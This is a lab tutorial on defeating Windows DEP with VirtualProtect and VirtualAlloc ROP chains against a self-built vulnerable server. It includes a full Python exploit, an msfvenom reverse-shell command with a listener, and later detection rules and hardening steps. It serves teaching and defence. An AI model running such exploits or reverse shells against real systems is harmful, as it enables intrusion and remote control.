Bypassing DEP with ROP on Windows: VirtualAlloc and VirtualProtect Chains

You have clean EIP control on a 32-bit Windows service. You drop your shellcode onto the stack, point EIP at a JMP ESP, and the process dies with 0xC0000005 the instant the CPU tries to execute your first byte. Nothing wrong with your offset. Nothing wrong with your shellcode. The stack is simply not executable, and the processor refuses to run a single instruction from it.

That wall is Data Execution Prevention. The way past it is Return-Oriented Programming: instead of injecting new code, you borrow instructions that already live in executable modules and stitch them into a chain that asks Windows, politely and in its own API dialect, to make your buffer executable. This post walks that chain end to end against a lab server I built for exactly this purpose.

Objective: Understand how hardware DEP is enforced at the page-table level, why classic stack shellcode fails, and how to build working VirtualProtect and VirtualAlloc ROP chains against a self-authored vulnerable Windows target, then detect the technique from the blue side.

1. DEP Internals: NX Bit, PTEs, and Enforcement Modes

DEP has shipped with Windows since XP SP2 and Server 2003. Its job is narrow and effective: mark data pages (the default heap, thread stacks, kernel pools) as non-executable so a buffer overrun cannot simply run bytes it wrote into memory.

Hardware-enforced DEP rides on a CPU feature. Intel calls it Execute Disable (XD); AMD calls it No-eXecute (NX). Both surface the same control: the NX bit (bit 63) in the x86-64 Page Table Entry. On 32-bit PAE, the same bit is threaded through the PDPTE/PDE/PTE chain. When that bit is set on a page and the instruction pointer lands there, the CPU raises a fault. The Windows kernel handles it through MmAccessFault and returns STATUS_ACCESS_VIOLATION (0xC0000005). That is the crash you saw.

Windows also has a software DEP concept tied to exception handling, SafeSEH, which validates that a stored exception handler was one the compiler registered. Personal opinion after years of this: SafeSEH gets far more press than it deserves, because a single linked module that forgot to opt in hands you a bypass. Hardware NX is the real barrier on modern targets.

The switch that decides whether a binary participates is the linker flag /NXCOMPAT. Compile with it and the image is marked DEP-compatible. Compile without it and, depending on system policy, the process can opt out entirely. Our lab target opts out of nothing accidentally; it is built without /NXCOMPAT on purpose so we start from a known state and then face DEP as a policy decision.

2. Why Classic Stack Shellcode Dies Under DEP

Reproduce the failure before defeating it. With DEP active, send a payload that overwrites the return address with a JMP ESP and follows it with shellcode. Attach WinDbg and watch:

0:001> g
(a1c.f30): Access violation - code c0000005 (first chance)
eip=0019f8a4 esp=0019f8a4
0019f8a4 90              nop
0:001> !vprot @eip
BaseAddress:       0019f000
Protect:           00000004  PAGE_READWRITE

EIP sits on your NOP sled, the very first 0x90, and the fault fires. !vprot confirms why: the page is PAGE_READWRITE (0x04), no execute bit. The bytes are all there and perfectly valid. The CPU will not touch them.

That single !vprot line is the whole problem statement. If the page said PAGE_EXECUTE_READWRITE, execution would proceed. So the entire exploit reduces to one question: how do you flip the protection on your buffer using only code that already exists in the process?

3. Return-Oriented Programming: Gadgets, Chains, and Pivots

A ROP gadget is a short instruction sequence living inside an already-executable module and ending in RETN (or RETN n). The RETN is the glue. It pops the next address off the stack into EIP, so if you fill the stack with a list of gadget addresses interleaved with data, each RETN walks you to the next gadget. The stack becomes a program, and the gadgets are its opcodes.

You need a small vocabulary of gadget types to do useful work:

Two more concepts matter. A ROP NOP is just the address of a bare RETN; drop it into the chain to consume a slot and slide forward, useful for alignment. A stack pivot (XCHG EAX, ESP or PUSH ESP ; RETN) redirects ESP to a region you control when the overflow does not leave ESP pointing at your chain. Build the chain as a skeleton first, placeholders for values you compute at runtime, then finalize it once the gadgets and IAT addresses are pinned down.

4. The Lab Target: A Deliberately Vulnerable Server

Here is the server. It is a 32-bit MSVC build with stack cookies off (/GS-) and DEP opt-out (/NXCOMPAT:NO), and it is statically wired to a helper DLL compiled with /DYNAMICBASE:NO so we have a non-ASLR gadget pool with stable IAT pointers.

// vuln_server.c  (lab target)
// compile: cl /GS- vuln_server.c /link /NXCOMPAT:NO /DYNAMICBASE:NO ws2_32.lib
#include <winsock2.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[256];               // fixed stack buffer
    char tmp[2048];
    int n = recv(s, tmp, sizeof(tmp) - 1, 0);
    tmp[n] = '\0';
    strcpy(buf, tmp);            // overflow: no bounds check
    send(s, "OK\n", 3, 0);
}
// main(): WSAStartup, bind on 0.0.0.0:4444, accept loop -> handle_client

The companion gadget_lib.c is a thin DLL that imports VirtualAlloc and VirtualProtect from kernel32.dll. Because it links /DYNAMICBASE:NO, it loads at a fixed base (0x10000000 here), and its Import Address Table entries for those two functions sit at stable addresses. That gives us both a predictable gadget source and predictable IAT pointers, which sidesteps ASLR for this exercise. ASLR is the next barrier, and I flag where it bites at the end.

The bug is a textbook recv() into 2048 bytes, then strcpy() into a 256-byte stack buffer. Send more than fits and you smash the saved return address.

5. Recon, Offset, and Bad Characters

Fuzz first to confirm the crash and get a rough size.

# fuzzer.py
import socket, time
for size in range(100, 3000, 100):
    s = socket.socket()
    s.connect(("192.168.56.101", 4444))
    s.send(b"A" * size)
    s.close()
    time.sleep(0.2)

The process dies with EIP = 0x41414141 around 700 bytes. Now pin the exact offset with a cyclic pattern.

msf-pattern_create -l 1000
# feed the pattern to the server, read EIP in WinDbg: 0x39624138
msf-pattern_offset -l 1000 -q 39624138
# [*] Exact match at offset 524

Offset to EIP is 524 bytes. Confirm control before trusting it:

# confirm_eip.py
buf  = b"A" * 524
buf += b"\xBE\xBA\xFE\xCA"        # EIP -> should read 0xCAFEBABE
buf += b"C" * (1000 - len(buf))

WinDbg shows EIP = 0xCAFEBABE. Clean control.

Now bad characters. This is a string-driven overflow through strcpy, so \x00 (NUL terminator), \x0a (LF), and \x0d (CR) are almost certainly out. Verify with mona in Immunity:

!mona bytearray -cpb "\x00\x0a\x0d"
!mona compare -f bytearray.bin -a <ESP_after_crash>

A war story worth your time: I once lost the better part of a day because one gadget address contained a \x0d. The chain built fine, strcpy truncated it silently at the CR, and the crash looked like a bad offset rather than a mangled chain. Feed your bad-char set into the gadget hunt from the very start; do not filter afterward.

6. Gadget Hunting with ROPgadget, rp++, and mona

Mine gadget_lib.dll for the vocabulary from section 3, filtering out bad bytes as you go.

ROPgadget --binary gadget_lib.dll --rop --badbytes "000a0d" > gadgets.txt

grep "pop eax ; ret"          gadgets.txt
grep "mov dword \[ecx\], eax" gadgets.txt
grep "push esp ; ret"         gadgets.txt
grep "pushad ; ret"           gadgets.txt
grep "jmp esp"                gadgets.txt
grep "xchg eax, esp ; ret"    gadgets.txt
grep "add eax"                gadgets.txt

rp++ is a good second opinion because it finds slightly different sequences and shows depth:

rp++ -f gadget_lib.dll -r 5 --unique > rp_gadgets.txt

In Immunity, mona automates the whole search and even proposes a chain:

!mona rop -m gadget_lib.dll -cpb "\x00\x0a\x0d"
!mona jmp -r esp -m gadget_lib.dll

Finally, resolve the IAT pointers. The point of using the IAT is portability: the IAT entry for VirtualProtect inside gadget_lib.dll is a fixed slot holding a pointer to the real function. Even when kernel32.dll moves under ASLR, that slot is patched by the loader and the pointer stays correct. Dereference the slot instead of hardcoding the API address.

!mona iat -m gadget_lib.dll
# KERNEL32.VirtualProtect IAT slot -> 0x10006028
# KERNEL32.VirtualAlloc  IAT slot -> 0x10006024

The three DEP-relevant APIs, and their exact argument constants, are what the chain has to satisfy:

7. The VirtualProtect Chain and the PUSHAD Technique

VirtualProtect needs four arguments on the stack: lpAddress, dwSize, flNewProtect, lpflOldProtect. The elegant way to lay them out is PUSHAD. That single instruction pushes EAX, ECX, EDX, EBX, the original ESP, EBP, ESI, EDI, in that order. Load each register with the value you want at its corresponding stack slot, fire PUSHAD, and you have built the entire argument frame in one shot.

The layout after PUSHAD is designed so that the pushed EAX becomes the return address that lands you in VirtualProtect, EBX is dwSize, EDX is flNewProtect (0x40), ECX is lpflOldProtect, and a PUSH ESP immediately before PUSHAD seeds lpAddress to point at the region we are about to make executable.

# rop_virtualprotect.py  (Python 3, lab PoC)
import socket, struct
def p32(v): return struct.pack("<I", v)

# --- Gadgets from gadget_lib.dll @ 0x10000000 (verify each in your lab) ---
POP_EAX_RETN  = 0x10001234   # POP EAX ; RETN
POP_EBX_RETN  = 0x10001240   # POP EBX ; RETN
POP_ECX_RETN  = 0x10001250   # POP ECX ; RETN
POP_EDX_RETN  = 0x10001260   # POP EDX ; RETN
POP_EBP_RETN  = 0x10001270   # POP EBP ; RETN
POP_ESI_RETN  = 0x10001280   # POP ESI ; RETN
POP_EDI_RETN  = 0x10001290   # POP EDI ; RETN
PUSH_ESP_RETN = 0x100012A0   # PUSH ESP ; RETN
PUSHAD_RETN   = 0x100012B0   # PUSHAD ; RETN
JMP_DWORD_EAX = 0x100012C0   # JMP DWORD PTR [EAX]
JMP_ESP       = 0x100012D0   # JMP ESP

IAT_VIRTUALPROTECT = 0x10006028   # gadget_lib IAT slot -> VirtualProtect
WRITABLE_ADDR      = 0x10007000   # writable slot for lpflOldProtect

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 \
#   -f python -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
shellcode = b"\xdb\xc0..."        # replace with real msfvenom output
nop_sled  = b"\x90" * 16

rop  = b""
rop += p32(POP_EAX_RETN) + p32(IAT_VIRTUALPROTECT)  # EAX = IAT ptr
rop += p32(POP_ESI_RETN) + p32(JMP_DWORD_EAX)       # ESI = call gadget
rop += p32(POP_EBX_RETN) + p32(0x00000201)          # EBX = dwSize
rop += p32(POP_EDX_RETN) + p32(0x00000040)          # EDX = PAGE_EXECUTE_READWRITE
rop += p32(POP_ECX_RETN) + p32(WRITABLE_ADDR)       # ECX = lpflOldProtect
rop += p32(POP_EBP_RETN) + p32(JMP_ESP)             # EBP = ROP NOP / return
rop += p32(POP_EDI_RETN) + p32(JMP_ESP)             # EDI = ROP NOP
rop += p32(PUSH_ESP_RETN)                           # capture ESP as lpAddress
rop += p32(PUSHAD_RETN)                             # build the arg frame
# PUSHAD -> RETN lands in JMP DWORD PTR [EAX] -> VirtualProtect runs
# VirtualProtect returns -> RETN -> JMP ESP -> NOP sled -> shellcode

payload  = b"A" * 524
payload += p32(JMP_ESP)          # EIP: pivot onto the chain that follows
payload += rop
payload += nop_sled
payload += shellcode

s = socket.socket()
s.connect(("192.168.56.101", 4444))
s.send(payload)
s.close()

The alignment between PUSH ESP and PUSHAD is fussy, and this is where people burn time. PUSH ESP captures ESP as it is at that moment, so lpAddress points into the region that PUSHAD is about to fill and that your NOP sled follows. Single step through it in WinDbg with t and confirm every register before PUSHAD fires. After VirtualProtect returns, the value that was EBP/EDI in the frame becomes the return address, which is why they hold JMP ESP: execution slides off the returning API straight into the sled.

8. The VirtualAlloc Chain: An Alternative

VirtualProtect flips an existing page. VirtualAlloc commits a fresh one, and it is handy when the region you want to run from is awkward to protect in place. It also makes the stack executable directly if you point lpAddress at ESP.

The target arguments:

VirtualAlloc(lpAddress = 0,          // NULL lets the OS choose, or ESP for the stack
             dwSize = 0x1000,        // one page
             flAllocationType = 0x3000,  // MEM_COMMIT | MEM_RESERVE
             flProtect = 0x40)       // PAGE_EXECUTE_READWRITE

Rather than PUSHAD, the classic VirtualAlloc approach builds a stack “skeleton” of placeholder slots and patches them at runtime. You load a value into EAX, load the target slot address into ECX, and execute MOV [ECX], EAX ; RETN to write it. Where a needed constant contains a bad byte, compute it: load a nearby clean value into EAX and correct it with ADD EAX, <delta> ; RETN before writing. Once all four slots hold the right values, the chain dereferences the VirtualAlloc IAT pointer (same stable slot trick, 0x10006024 here), calls it, then pivots EIP into the freshly executable buffer. Same IAT-portability logic applies: the slot is constant even when kernel32.dll moves.

Beyond these two, WriteProcessMemory, SetProcessDEPPolicy, and ZwProtectVirtualMemory can also manipulate DEP state. The mechanics are the same idea: marshal arguments with gadgets, call the API through the IAT.

9. Full PoC and Verification in WinDbg

Generate the shellcode against your bad-char set and start a listener:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 \
         -f python -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
nc -lvnp 4444

Before firing the exploit for real, break on the API and confirm the arguments arrive correctly:

0:001> bp KERNEL32!VirtualProtectStub
0:001> g
Breakpoint hit
0:001> dd esp L5
esp+0  <lpAddress>   <- should point at your NOP sled
esp+4  00000201      <- dwSize
esp+8  00000040      <- PAGE_EXECUTE_READWRITE
esp+c  10007000      <- lpflOldProtect
0:001> pt            ; run to the RETN of VirtualProtect
0:001> !vprot poi(esp)   ; region should now be PAGE_EXECUTE_READWRITE
0:001> r eip         ; after final RETN, EIP lands on JMP ESP -> sled

dd esp L5 reads the argument frame PUSHAD built. If esp+8 shows 0x40 and esp+4 shows your size, the marshaling is correct. Run past the call with pt, then !vprot the page and watch it report PAGE_EXECUTE_READWRITE. The final RETN walks into JMP ESP, the sled, and your shellcode. Your nc listener catches the shell. Same crash location as section 2, opposite outcome, and the only difference is that one protection flag.

10. Common Attacker Techniques

11. Defensive Strategies & Detection

Set expectations honestly: an in-process VirtualProtect or VirtualAlloc call is a user-mode API invocation, and Sysmon has no native event for it. Sysmon shines on the second-order effects, the child process the shellcode spawns, and cross-process behavior.

For the actual protection change, the high-value source is ETW, specifically the Microsoft-Windows-Threat-Intelligence provider (ETWTI, GUID {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}). EDRs subscribing to ETWTI receive callbacks on VirtualProtect and VirtualAlloc invocations, can read the requested NewProtect value, and can walk the call stack. A request for PAGE_EXECUTE_READWRITE originating from a shallow, JIT-looking stack inside a network service is a strong ROP indicator. Complement with Microsoft-Windows-Kernel-Process ({22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}) for lifecycle and Security-Auditing ({54849625-5478-4994-A5BA-3E3B0328C30D}) for Event 4688.

Turn on process-creation auditing with command lines:

auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\
#   ProcessCreationIncludeCmdLine_Enabled = 1

The most reliable, low-noise detection is the shell that appears where one never should:

title: Unexpected Shell Spawned From Network Service
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
        ParentImage|endswith: '\vuln_server.exe'
    condition: selection
level: critical

Where you have ETWTI or an EDR surfacing protection flags, hunt RWX transitions and filter the legitimate JIT engines:

title: Suspicious VirtualProtect RWX via ETWTI or EDR Hook
status: experimental
logsource:
    product: windows
    category: process_access
detection:
    selection:
        NewProtection|contains: '0x40'      # PAGE_EXECUTE_READWRITE
    filter_legitimate:
        Image|endswith:
            - '\clrjit.dll'
            - '\jvm.dll'
    condition: selection and not filter_legitimate
falsepositives:
    - JIT runtimes (.NET CLR, JVM, V8)
level: high

Hardening closes the door the chain walks through:

bcdedit /set nx AlwaysOn

Set-ProcessMitigation -Name vuln_server.exe -Enable DEP,CFG,SEH

Enforce DEP AlwaysOn so processes cannot opt out. Compile with /guard:cf for Control Flow Guard, which validates indirect call targets and complicates dispatch through the IAT and function pointers. Enable ASLR so a fixed-base gadget module like our gadget_lib.dll stops being a gift. CFG plus ASLR is the combination that turns this exact walkthrough into a much harder problem.

MITRE ATT&CK Mapping

12. Tools for DEP and ROP Analysis

Summary

• DEP is enforced by the NX bit in the page-table entry; the only way past it in-process is to make Windows itself change your page protection.
• ROP chains borrow RETN-terminated gadgets from executable modules and drive the stack as a program to marshal API arguments.
• The VirtualProtect PUSHAD technique loads GPRs and fires one PUSHAD to build the four-argument frame, then calls the API through a stable IAT pointer to flip the buffer to PAGE_EXECUTE_READWRITE (0x40).
• The VirtualAlloc skeleton variant patches placeholder slots at runtime and commits fresh RWX memory as an alternative path.
• Sysmon EventID 1 catches the spawned shell, ETWTI catches the RWX transition, and bcdedit /set nx AlwaysOn plus CFG and ASLR are what actually break the technique.

Related Tutorials

• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Writing Your First Shellcode: x86 Reverse Shell from Scratch

References

• Data Execution Prevention – Win32 Apps | Microsoft Learn
• VirtualProtect function (memoryapi.h) – Win32 Apps | Microsoft Learn
• Exploit Protection Reference (VirtualAlloc, VirtualProtect & ROP Mitigations) – Microsoft Defender for Endpoint | Microsoft Learn
• Control Flow Guard for Platform Security (CFG, DEP, ASLR) – Win32 Apps | Microsoft Learn
• Exploit Protection, Mitigation M1050 – Enterprise | MITRE ATT&CK
• Return-Oriented Programming – Wikipedia (Academic Reference)